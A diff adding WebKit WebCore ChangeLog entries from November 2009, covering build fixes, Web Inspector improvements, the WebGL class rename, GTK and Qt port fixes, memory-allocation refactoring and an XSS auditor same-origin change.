+2009-11-10  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Speed up syntax highlighter
+        https://bugs.webkit.org/show_bug.cgi?id=31291
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process.moveToNextLine): Replace the line content node.
+        (WebInspector.SourceSyntaxHighlighter.prototype.process):
+        (WebInspector.SourceSyntaxHighlighter.prototype.appendNonToken):
+        (WebInspector.SourceSyntaxHighlighter.prototype.syntaxHighlightNode):
+        (WebInspector.CSSSourceSyntaxHighlighter):
+        (WebInspector.JavaScriptSourceSyntaxHighlighter):
+
+2009-11-09  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove session storage setting
+        https://bugs.webkit.org/show_bug.cgi?id=31279
+
+        Remove session storage from Settings.  It was added temporarily so we could
+        disable it by default at runtime in Chromium.  We now disable these things in a
+        different way, so it's time to remove it.  Qt also depended on this setting for
+        a short period of time, but after talking to them we agreed that it should be
+        removed.
+
+        This bug is the second half of https://bugs.webkit.org/show_bug.cgi?id=30602
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::sessionStorage):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
+
+2009-11-10  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Eric Carlson and Darin Adler.
+
+        WebCore part of making full-screen video pause during scrubbing.
+
+        * WebCore.Video.exp: Sorted and added HTMLMediaElement::beginScrubbing()
+        and HTMLMediaElement::endScrubbing().
+
+2009-11-10  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Reapply 50562 reverted by 50588 due to issues with sandboxing (should be fine now).
+        https://bugs.webkit.org/show_bug.cgi?id=31051
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::V8GCController::gcEpilogue):
+        (WebCore::V8GCController::checkMemoryUsage):
+        * bindings/v8/V8GCController.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+        (WebCore::V8Proxy::runScript):
+        (WebCore::V8Proxy::callFunction):
+
+2009-11-10  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for the part of loader directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31161
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and these are no need to be copyable:
+
+        class Request - WebCore/loader/loader.cpp:100
+        struct ScheduledRedirection - WebCore/loader/RedirectScheduler.cpp:164
+        class ApplicationCacheStorage - WebCore/loader/appcache/ApplicationCacheStorage.cpp:1121
+        class ApplicationCacheHost -  WebCore/loader/DocumentLoader.cpp:151
+        class ImageEventSender - WebCore/loader/ImageLoader.cpp:54
+        struct ProgressItem - WebCore/loader/ProgressTracker.cpp:169
+
+        Inherits ThreadableLoaderClient class from Noncopyable because (its child class) 
+        MainThreadBridge is instantiated by 'new' in 
+        WebCore/loader/WorkerThreadableLoader.cpp:59 it is no need to be copyable.
+
+        ThreadableLoaderClient's inheriting has been changed to public.
+
+        * loader/ImageLoader.cpp:
+        * loader/ProgressTracker.cpp:
+        * loader/RedirectScheduler.cpp:
+        * loader/Request.h:
+        * loader/ThreadableLoaderClient.h:
+        * loader/WorkerThreadableLoader.h:
+        * loader/appcache/ApplicationCacheHost.h:
+        * loader/appcache/ApplicationCacheStorage.h:
+
+2009-11-10  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31047
+        [GTK] Failing test media/video-played-ranges-1.html
+
+        WebKit coding style fixes.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::MediaPlayerPrivate::naturalSize):
+        (WebCore::MediaPlayerPrivate::paint):
+        (WebCore::mimeTypeCache):
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Remove build failure introduced by earlier build fix.
+
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Is this the last build fix? grep tells me yes.
+
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Hopefully the last one.  Why aren't these autogenerated?
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::setIndexedPropertiesToExternalArray):
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Another chrome build fix.
+
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Yet another chrome buildfix
+
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        (WebCore::constructCanvasArray):
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::vertexAttribAndUniformHelperf):
+        (WebCore::uniformHelperi):
+        (WebCore::uniformMatrixHelper):
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Chrome build fix.
+
+        * bindings/v8/V8Index.h:
+
+2009-11-10  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30901
+        [Gtk] Need to de-lint the Atk a11y code
+
+        Removal of various and sundry style-violating nits.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+
+2009-11-10  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31047
+        [GTK] Failing test media/video-played-ranges-1.html
+
+        Fix playback rate setter by remembering the rate was changed. Also
+        correctly handle reverse playback by doing a seek from end to
+        beginning of the media.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::currentTime):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::setRate):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-11-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Rename 3D Canvas related classes to use WebGL prefix
+        https://bugs.webkit.org/show_bug.cgi?id=29095
+
+        Automatic rename of all WebGL related types from Canvas* to
+        WebGL* per more recent version of the WebGL spec.
+
+        Due to the automatic rename I've removed the 600+ line change list.
+
+2009-11-09  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        SVG feDisplacementMap is not implemented
+        [https://bugs.webkit.org/show_bug.cgi?id=31255]
+
+        This is the implementation of the SVG filter effect
+        feDisplacementMap. 
+
+        Test: svg/filters/feDisplacementMap.svg
+
+        * svg/graphics/filters/SVGFEDisplacementMap.cpp:
+        (WebCore::FEDisplacementMap::apply):
+
+2009-11-09  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add a comment about null strings and hash functions.
+        https://bugs.webkit.org/show_bug.cgi?id=29118
+
+        * platform/text/StringHash.h:
+
+2009-11-09  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Compiler warnings in InspectorResource.h
+        https://bugs.webkit.org/show_bug.cgi?id=29231
+
+        Fix compilation warnings by removing addition operation on an enum type.
+
+        * inspector/InspectorResource.h:
+        (WebCore::InspectorResource::):
+        (WebCore::InspectorResource::Changes::hasChange):
+        (WebCore::InspectorResource::Changes::set):
+        (WebCore::InspectorResource::Changes::setAll):
+
+2009-11-09  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Darin Adler and Dan Bernstein.
+
+        <rdar://problem/7328395>
+        https://bugs.webkit.org/show_bug.cgi?id=31277
+
+        When an object tag's style changes (for example when child nodes are added/removed),
+        reuse its Frame (if it has one) instead of creating multiple Frames.
+
+        Test: fast/dom/HTMLObjectElement/children-changed.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::requestObject):
+
+2009-11-09  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Moved macro MMP_RULES (LINKEROPTION) into symbian instead of symbian-sbsv2,
+        since adjustment of RW-section base address will be needed for all new symbian
+        tool chains, specifically for arm and gcc compilation targets.
+        Also, change target address to 0xE00000 to be sufficient for all targets.
+
+        * WebCore.pro:
+
+2009-11-09  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Crash when inspecting
+        WebCore\manual-tests\inspector\dom-mutation.html
+
+        https://bugs.webkit.org/show_bug.cgi?id=31259
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Few classes have virtual functions but non-virtual destructor
+        https://bugs.webkit.org/show_bug.cgi?id=31269
+
+        No new tests as there is no functional change.
+
+        * platform/qt/QWebPageClient.h:
+        (QWebPageClient::~QWebPageClient): Add virtual destructor.
+
+2009-11-09  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Allow setting HTTP headers with empty value in XMLHTTPRequest
+        https://bugs.webkit.org/show_bug.cgi?id=31140
+
+        QtNetwork interprets null string as request to remove the header, not add it.
+        Replace null values with empty values before passing them to QtNetwork.
+
+        Test: http/tests/xmlhttprequest/xmlhttprequest-setrequestheader-no-value.html
+
+        * platform/network/qt/ResourceRequestQt.cpp:
+        (WebCore::ResourceRequest::toNetworkRequest):
+
+2009-11-09  Vadim Zeitlin  <vadim@wxwidgets.org>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Fix handling of alpha channel when using wxWidgets 2.9: it was
+        simply ignored before resulting in transparent areas being black in PNG
+        images for example.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=30823
+
+        * platform/image-decoders/wx/ImageDecoderWx.cpp:
+        (WebCore::RGBA32Buffer::asNewNativeImage):
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Use explicit parentheses to silence gcc 4.4 -Wparentheses warnings
+        https://bugs.webkit.org/show_bug.cgi?id=31040
+
+        No new tests as there is no functional change.
+
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyleSelector):
+        * editing/TextIterator.cpp:
+        (WebCore::pushFullyClippedState):
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::appendTrailingWhitespace):
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::process):
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::mustLockBackForwardList):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontPlatformDataCacheKey::computeHash):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::handleRunInChild):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::calcHeight):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::nodeAtPoint):
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::diff):
+        * svg/SVGAnimateElement.cpp:
+        (WebCore::parseNumberValueAndUnit):
+        * svg/SVGAnimationElement.cpp:
+        (WebCore::SVGAnimationElement::startedActiveInterval):
+        * svg/SVGPreserveAspectRatio.cpp:
+        (WebCore::SVGPreserveAspectRatio::getCTM):
+
+2009-11-09  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Win chromium is slow to draw transparent texts
+        https://bugs.webkit.org/show_bug.cgi?id=31258
+
+        Clip graphics context to reduce calculation.
+
+        No new tests because this change only affects performance.
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::initializeForGDI):
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::~TransparencyAwareFontPainter):
+
+2009-11-09  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        showTree(CounterNode*) generates too little info and has too many spaces.
+        https://bugs.webkit.org/show_bug.cgi?id=31212
+
+        No new tests as the change has no functional effect it is just for
+        improved debugging.
+
+        * rendering/CounterNode.cpp:
+        (WebCore::showTreeAndMark):
+        Changed to also show addresses of parent, next and previous
+        siblings.
+
+2009-11-09  Stuart Morgan  <stuartmorgan@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Moves Mac implementation of setUseSecureKeyboardEntry to Frame.cpp and
+        enables it PLATFORM(CHROMIUM) in addition to PLATFORM(MAC).
+
+        https://bugs.webkit.org/show_bug.cgi?id=31083
+
+        No new tests; implementation is unchanged.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::setUseSecureKeyboardEntry):
+        * page/mac/FrameMac.mm:
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Jan Alonzo.
+
+        Make XP_UNIX tests consistent
+        https://bugs.webkit.org/show_bug.cgi?id=31250
+
+        No new tests as there is no functional change.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::setFrameRect): Test if XP_UNIX is defined
+        instead of the value of the macro
+
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded): Test if the XP_UNIX is
+        defined instead of using the PLATFORM macro to be consistent
+        (WebCore::PluginView::getValue): Ditto.
+
+2009-11-09  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Thunk to the main thread from ~Database to deref Database's m_document.
+
+        If the Database was the Document's last referrer, then ~Document occurs on the
+        Database thread, and ASSERT(!m_styleRecalcTimer.isActive()) hits a main thread
+        ASSERT in debug builds.
+
+        * storage/Database.cpp:
+        (WebCore::derefDocument):
+        (WebCore::Database::~Database):
+
+2009-11-09  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Track "can have scrollbar" state within FrameView independently of the
+        individual scrollbar states in ScrollView.
+
+        rdar://problem/7215132, https://bugs.webkit.org/show_bug.cgi?id=29167
+        REGRESSION (r48064): mint.com loses scrollbars after coming out of
+        edit mode.
+
+        rdar://problem/7314421, https://bugs.webkit.org/show_bug.cgi?id=30517
+        REGRESSION (r48064): Extra scroll bars in GarageBand Lesson Store.
+
+        Test: fast/overflow/scrollbar-restored.html
+
+        * WebCore.base.exp:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::FrameView):
+        (WebCore::FrameView::resetScrollbars):
+        (WebCore::FrameView::setCanHaveScrollbars):
+        (WebCore::FrameView::updateCanHaveScrollbars):
+        (WebCore::FrameView::layout):
+        * page/FrameView.h:
+        * platform/ScrollView.h:
+
+2009-11-09  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: CSS syntax highlighter doesn't recognize negative numbers
+        https://bugs.webkit.org/show_bug.cgi?id=31257
+
+        * inspector/front-end/SourceFrame.js:
+
+2009-11-09  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Debugger shortcuts (F8, F10, F11) have no effect if the Console view is open
+        https://bugs.webkit.org/show_bug.cgi?id=31252
+
+        Route F1-F12 keypresses in the Console view to the current panel if there is one.
+
+        Test: manual-tests/inspector/debugger-shortcuts-with-console-opened.html
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._promptKeyDown):
+        * inspector/front-end/utilities.js:
+        ():
+        * manual-tests/inspector/debugger-shortcuts-with-console-opened.html: Added.
+
+2009-11-09  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Pass credentials provided by XMLHTTPRequest to the network request.
+        https://bugs.webkit.org/show_bug.cgi?id=31208
+
+        After r42483, the credentials are no longer passed to the network request
+        in the URL of the request.
+        Pass the credentials from XMLHTTPRequest to the network request, the same
+        way that other ports do.
+
+        After this patch LayoutTests/http/xmlhttprequest/basic-auth.html passes.
+
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::loadResourceSynchronously):
+
+2009-11-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Unreviewed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31161
+
+        Roll back r50657 because it breaks the MAC builds.
+
+        * loader/ImageLoader.cpp:
+        * loader/ProgressTracker.cpp:
+        * loader/RedirectScheduler.cpp:
+        * loader/Request.h:
+        * loader/ThreadableLoaderClient.h:
+        * loader/WorkerThreadableLoader.h:
+        * loader/appcache/ApplicationCacheHost.h:
+        * loader/appcache/ApplicationCacheStorage.h:
+        * loader/icon/IconDatabaseClient.h:
+
+2009-11-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for the part of loader directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31161
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and these are no need to be copyable:
+
+        class Request - WebCore/loader/loader.cpp:100
+        struct ScheduledRedirection - WebCore/loader/RedirectScheduler.cpp:164
+        class IconDatabaseClient - WebCore/loader/icon/IconDatabase.cpp:89
+        class ApplicationCacheStorage - WebCore/loader/appcache/ApplicationCacheStorage.cpp:1121
+        class ApplicationCacheHost -  WebCore/loader/DocumentLoader.cpp:151
+        class ImageEventSender - WebCore/loader/ImageLoader.cpp:54
+        struct ProgressItem - WebCore/loader/ProgressTracker.cpp:169
+
+        Inherits ThreadableLoaderClient class from Noncopyable because (its child class) 
+        MainThreadBridge is instantiated by 'new' in 
+        WebCore/loader/WorkerThreadableLoader.cpp:59 it is no need to be copyable.
+
+        ThreadableLoaderClient's inheriting has been changed to public.
+
+        * loader/ImageLoader.cpp:
+        * loader/ProgressTracker.cpp:
+        * loader/RedirectScheduler.cpp:
+        * loader/Request.h:
+        * loader/ThreadableLoaderClient.h:
+        * loader/WorkerThreadableLoader.h:
+        * loader/appcache/ApplicationCacheHost.h:
+        * loader/appcache/ApplicationCacheStorage.h:
+        * loader/icon/IconDatabaseClient.h:
+
+2009-11-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's DocLoader
+        https://bugs.webkit.org/show_bug.cgi?id=31163
+
+        Inherits DocLoader class from Noncopyable because it is
+        instantiated by 'new' in WebCore/dom/Document.cpp:370 and 
+        it is no need to be copyable.
+
+        * loader/DocLoader.h:
+
+2009-11-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's Tokenizer
+        https://bugs.webkit.org/show_bug.cgi?id=31162
+
+        Inherits Tokenizer class from Noncopyable because (its child class)
+        ImageTokenizer instantiated by 'new' in WebCore/loader/ImageDocument.cpp:178 
+        and it is no need to be copyable.
+
+        * dom/Tokenizer.h:
+
+2009-11-09  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's DeleteButtonController
+        https://bugs.webkit.org/show_bug.cgi?id=31105
+
+        Inherits DeleteButtonController class from Noncopyable because it is 
+        instantiated by 'new' in WebCore/editing/Editor.cpp:919 and
+        it is no need to be copyable.  
+
+        * editing/DeleteButtonController.h:
+
+2009-11-09  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Expose Page::tabKeyCyclesThroughElements in the API
+        https://bugs.webkit.org/show_bug.cgi?id=30482
+
+        Expose Page::tabKeyCyclesThroughElements as a property of
+        WebKitWebView.
+
+        No new tests; fast/events/keypress-insert-tab.html is no longer skipped.
+
+        * platform/gtk/KeyEventGtk.cpp: Correct m_text for tab key presses.
+        (WebCore::singleCharacterString):
+
+2009-11-09  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Fix a crasher that occurred with text which included newline
+        chars in the markup.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (convertUniCharToUTF8):
+
+2009-11-05  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] The XML tokenizer reports a parse error twice if it occurs before the document element is found.
+        https://bugs.webkit.org/show_bug.cgi?id=31144
+
+        XMLTokenizer::doEnd() uses an additional logic to report a parse failure in
+        documents that end prematurely but are not considered invalid by QXmlStream.
+        This is to stay compatible with the libxml2 implementation.
+        However, that code path would be also hit in situations when it should not,
+        i.e. the error would have already been caught and handled. As a result, the
+        same error would be reported twice.
+
+        No new tests, because the problem is already covered by
+        fast/parser/xml-declaration-missing-ending-mark.html.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::doEnd):
+
+2009-11-08  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Inspector should support copy() in the command line
+        https://bugs.webkit.org/show_bug.cgi?id=31238
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::copyText): Added.
+        * inspector/InspectorBackend.h: Added copyText
+        * inspector/InspectorBackend.idl: Added copyText
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._copy): Added.
+        (InjectedScript._ensureCommandLineAPIInstalled):
+
+2009-11-08  Drew Wilson  <atwilson@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        V8 WorkerContextExecutionProxy does not handle SharedWorkers
+        https://bugs.webkit.org/show_bug.cgi?id=31226
+
+        Now checks to see what type of context is active and creates the
+        appropriate wrapper (DEDICATEDWORKERCONTEXT vs SHAREDWORKERCONTEXT).
+
+        Added support for converting to SharedWorkers and SharedWorkerContexts.
+
+        Test: Existing layout tests cover this case (start passing in Chrome).
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        Now generates the right type of DOMWrapper for SharedWorkerContexts.
+        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
+        Added support for SHAREDWORKERCONTEXT.
+        (WebCore::WorkerContextExecutionProxy::convertEventTargetToV8Object):
+        Added support for SharedWorker and SharedWorkerContext.
+
+2009-11-08  Johnny Ding  <johnnyding.webkit@gmail.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31224
+        [V8] Return StyleSheet object instead of HTMLStyleElement w/document.styleSheets named property getter.
+
+        Test: fast/dom/StyleSheet/get-stylesheet-byname.html
+
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+
+2009-11-08  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: "Search again" on scripts panel switches
+        to the script this search started with.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31243
+
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.jumpToNextSearchResult):
+
+2009-11-08  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Simplify Icon interface.
+        https://bugs.webkit.org/show_bug.cgi?id=31154
+
+        - Remove Icon::createIconForFile().  createIconForFiles() covers
+          createIconForFile()'s role.
+        - Remove FileChooser::chooseIcon()
+        - Change the parameter types of FileChooser constructor and the
+          factory method, String -> const Vector<String>&, in order to
+          support initialization with multiple files.
+        - Remove the icon loading code in IconChromiumWin.cpp, which
+          doesn't work because of the sandbox.
+
+        No tests because it's just a refactoring.
+
+        * platform/FileChooser.cpp:
+        (WebCore::FileChooser::FileChooser):
+        (WebCore::FileChooser::create):
+        (WebCore::FileChooser::chooseFile):
+        (WebCore::FileChooser::chooseFiles):
+        * platform/FileChooser.h:
+        * platform/graphics/Icon.h:
+        * platform/graphics/chromium/IconChromiumLinux.cpp:
+        * platform/graphics/chromium/IconChromiumMac.cpp:
+        * platform/graphics/chromium/IconChromiumWin.cpp:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/gtk/IconGtk.cpp:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/haiku/IconHaiku.cpp:
+        * platform/graphics/mac/IconMac.mm:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/qt/IconQt.cpp:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/win/IconWin.cpp:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/wx/IconWx.cpp:
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::RenderFileUploadControl):
+
+2009-11-08  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31098
+
+        Allows same-origin plugin-based content to load.
+
+        Test: http/tests/security/xssAuditor/object-src-inject.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc): Modified to call XSSAuditor::isSameOriginResource.
+        (WebCore::XSSAuditor::canLoadObject): Ditto.
+        (WebCore::XSSAuditor::canSetBaseElementURL): Ditto. 
+        (WebCore::XSSAuditor::isSameOriginResource): Added.
+        * page/XSSAuditor.h:
+
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (chromium build fix).
+
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::parseDate): Changed this to not
+        use a date parser that needs ExecState passed.
+        
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Unreviewed build fix for chromium.
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::strokeRect):
+
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Unreviewed build fix for chromium.
+
+        Build fix for https://bugs.webkit.org/show_bug.cgi?id=31219
+        Clean up GraphicsContext's current concept of ColorSpace
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::strokeRect):
+
+2009-11-08  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: [REGRESSION] committing style edit
+        clears elements panel selection.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31242
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.update):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype.):
+        (WebInspector.StylePropertyTreeElement.prototype):
+
+2009-11-08  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Holger Freyther.
+
+        ResourceRequest to be class instead of struct
+        https://bugs.webkit.org/show_bug.cgi?id=30670
+
+        Started as a compilation fix for Symbian where the compiler makes a distinction between
+        class and struct in function argument signatures.
